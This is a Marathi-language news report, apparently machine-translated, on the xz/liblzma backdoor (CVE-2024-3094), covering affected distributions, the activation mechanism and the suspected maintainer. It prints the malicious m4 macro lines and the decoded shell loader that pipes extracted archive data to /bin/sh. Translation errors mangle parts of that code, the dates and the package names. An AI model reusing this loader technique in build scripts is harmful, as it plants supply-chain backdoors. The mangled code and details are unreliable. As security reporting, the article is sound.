xz/liblzma लायब्ररीमध्ये एक मागचा दरवाजा सापडला जो sshd द्वारे प्रवेश करण्यास परवानगी देतो

XZ Utils पॅकेजमध्ये, ज्यामध्ये liblzma लायब्ररी आणि ".xz" फॉरमॅटमध्ये संकुचित डेटासह कार्य करण्यासाठी उपयुक्तता समाविष्ट आहेत, एक बॅकडोअर (CVE-2024-3094) ओळखला गेला आहे जो संबंधित अनुप्रयोगांद्वारे प्रक्रिया केलेल्या डेटामध्ये हस्तक्षेप आणि बदल करण्यास अनुमती देतो. liblzma लायब्ररीसह. बॅकडोअरचे मुख्य लक्ष्य ओपनएसएसएच सर्व्हर आहे, जे काही वितरणांमध्ये libsystemd लायब्ररीसह एकत्रित केले जाते, जे यामधून liblzma वापरते. sshd ला असुरक्षित लायब्ररीशी जोडल्याने आक्रमणकर्त्यांना प्रमाणीकरणाशिवाय SSH सर्व्हरवर प्रवेश मिळू शकतो.

5.6.0 फेब्रुवारी आणि 5.6.1 मार्च रोजी प्रकाशित झालेल्या अधिकृत प्रकाशन 24 आणि 9 मध्ये बॅकडोअर उपस्थित होते, जे काही वितरण आणि भांडारांमध्ये प्रवेश करू शकले, उदाहरणार्थ, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide आणि 40-बीटा, ओपनएसयूएसई फॅक्टरी आणि टंबलवीड, लिबरईएलईसी, अल्पाइन एज, सोलस, निक्सओएस अस्थिर, ओपनइंडियाना, ओपनमँडरिवा रोलिंग, पीकेजीएसआरसी करंट, स्लॅकवेअर करंट, मांजारो चाचणी. xz 5.6.0 आणि 5.6.1 रिलीझच्या सर्व वापरकर्त्यांना त्वरीत आवृत्ती 5.4.6 वर परत येण्याची शिफारस केली जाते.

समस्या कमी करणाऱ्या घटकांपैकी, हे लक्षात घेतले जाऊ शकते की बॅकडोअरसह liblzma ची आवृत्ती मोठ्या वितरणाच्या स्थिर प्रकाशनाचा भाग बनू शकली नाही, परंतु openSUSE Tumbleweed आणि Fedora 40-beta प्रभावित झाली. Arch Linux आणि Gentoo ने zx ची असुरक्षित आवृत्ती वापरली, परंतु आक्रमणास संवेदनाक्षम नाहीत कारण ते openssh वर systemd-notify पॅच लागू करत नाहीत, ज्यामुळे sshd ला liblzma शी जोडले जाते. बॅकडोअर फक्त Linux कर्नल आणि Glibc C लायब्ररीवर आधारित x86_64 सिस्टीमवर प्रभाव टाकतो.

बिल्डिंग करताना ऑटोमेक टूलकिटद्वारे वापरल्या जाणाऱ्या बिल्ड-टू-होस्ट.m4 फाईलमधून बॅकडोअर ऍक्टिव्हेशन कोड m4 मॅक्रोमध्ये लपविला होता. असेंब्ली दरम्यान, ऑपरेशनच्या शुद्धतेची चाचणी घेण्यासाठी वापरल्या जाणाऱ्या आर्काइव्ह (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma) वर आधारित गुंतागुंतीच्या अस्पष्ट ऑपरेशन्सच्या अंमलबजावणीदरम्यान, दुर्भावनापूर्ण कोड असलेली ऑब्जेक्ट फाइल तयार केली गेली, ज्यामध्ये समाविष्ट होते liblzma लायब्ररी आणि ऑपरेशन लॉजिक त्याच्या काही फंक्शन्स बदलले. बॅकडोअर सक्रिय करणारे m4 मॅक्रो रिलीझ टारबॉलमध्ये समाविष्ट केले गेले होते, परंतु Git रिपॉजिटरीमध्ये नव्हते. त्याच वेळी, रेपॉजिटरीमध्ये दुर्भावनापूर्ण चाचणी संग्रहण उपस्थित होते, म्हणजे. ज्या व्यक्तीने बॅकडोअर अंमलात आणले होते त्याला रिपॉझिटरी आणि रिलीझ जनरेशन या दोन्ही प्रक्रियांमध्ये प्रवेश होता.

ऍप्लिकेशन्समध्ये liblzma वापरताना, दुर्भावनापूर्ण बदल डेटा रोखण्यासाठी किंवा सुधारित करण्यासाठी किंवा sshd चे ऑपरेशन प्रभावित करण्यासाठी वापरले जाऊ शकतात. विशेषतः, दुर्भावनापूर्ण कोडने sshd प्रमाणीकरण प्रक्रियेला बायपास करण्यासाठी RSA_public_decrypt फंक्शनची फसवणूक केली. बॅकडोअरमध्ये शोधण्यापासून संरक्षण समाविष्ट होते आणि जेव्हा LANG आणि TERM पर्यावरण व्हेरिएबल्स सेट केले गेले होते (म्हणजे टर्मिनलमध्ये प्रक्रिया चालू असताना) आणि LD_DEBUG आणि LD_PROFILE पर्यावरण व्हेरिएबल्स सेट केले गेले नव्हते तेव्हा ते स्वतः प्रकट झाले नाहीत आणि ते कार्यान्वित करताना सक्रिय केले गेले. /usr/sbin/sshd एक्झिक्युटेबल फाइल. बॅकडोअरमध्ये डीबग वातावरणात अंमलबजावणी शोधण्याचे साधन देखील होते.

विशेषतः, m4/build-to-host.m4 फाइलने gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / वापरले null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

पहिल्या बांधकामात, grep ऑपरेशनला फाईल tests/files/bad-3-corrupt_lzma2.xz सापडली, जी अनपॅक केल्यावर स्क्रिप्ट तयार करते: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && बाहेर पडा 0 [ ! $(uname) = "Linux" ] && बाहेर पडा 0 [ ! $(uname) = "Linux" ] && बाहेर पडा 0 [ ! $(uname) = "Linux" ] && बाहेर पडा 0 [ ! $(uname) = "Linux" ] && बाहेर पडा 0 eval `grep ^srcdir= config.status` जर चाचणी -f ../../config.status; नंतर eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi निर्यात i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####जग####

हल्लेखोरांनी xz प्रकल्पाच्या पायाभूत सुविधांमध्ये प्रवेश कसा मिळवला हे अद्याप पूर्णपणे स्पष्ट झालेले नाही. मागील दरवाजाच्या परिणामी किती वापरकर्ते आणि प्रकल्पांशी तडजोड झाली हे देखील अद्याप स्पष्ट नाही. बॅकडोअरचा कथित लेखक (JiaT75 - Jia Tan), ज्याने रेपॉजिटरीमध्ये दुर्भावनापूर्ण कोडसह संग्रह पोस्ट केले, Fedora डेव्हलपरशी पत्रव्यवहार केला आणि डेबियनला xz 5.6.0 शाखेत वितरणाच्या संक्रमणाशी संबंधित पुल विनंत्या पाठवल्या आणि तसे केले नाही. xz मध्ये भाग घेतल्याने संशय निर्माण झाला आहे, कारण तो गेल्या दोन वर्षांपासून विकसित होत आहे आणि केलेल्या बदलांच्या संख्येच्या बाबतीत तो दुसरा विकासक आहे. xz प्रकल्पाव्यतिरिक्त, बॅकडोअरच्या कथित लेखकाने xz-java आणि xz-एम्बेडेड पॅकेजेसच्या विकासामध्ये देखील भाग घेतला. शिवाय, काही दिवसांपूर्वी जिया टॅनचा लिनक्स कर्नलमध्ये वापरल्या जाणाऱ्या XZ एम्बेडेड प्रकल्पाच्या देखभाल करणाऱ्यांच्या संख्येत समावेश करण्यात आला होता.

ssh द्वारे डेबियन sid-आधारित सिस्टीमशी कनेक्ट करताना अत्याधिक CPU वापर आणि valgrind द्वारे व्युत्पन्न केलेल्या त्रुटींचे विश्लेषण केल्यानंतर दुर्भावनापूर्ण बदल शोधला गेला. हे लक्षात घेण्याजोगे आहे की xz 5.6.1 रिलीझमध्ये बॅकडोअरसह zx 5.6.0 आवृत्तीमध्ये अपग्रेड केल्यानंतर उद्भवलेल्या sshd स्लोडाउन आणि क्रॅशबद्दल तक्रारींना प्रतिसाद म्हणून बॅकडोअरच्या कथित लेखकाने तयार केलेले बदल समाविष्ट आहेत. याव्यतिरिक्त, गेल्या वर्षी जिया टॅनने बदल केले जे "-fsanitize=address" तपासणी मोडशी विसंगत होते, ज्यामुळे ते फझ चाचणी दरम्यान अक्षम केले गेले.

स्त्रोत: opennet.ru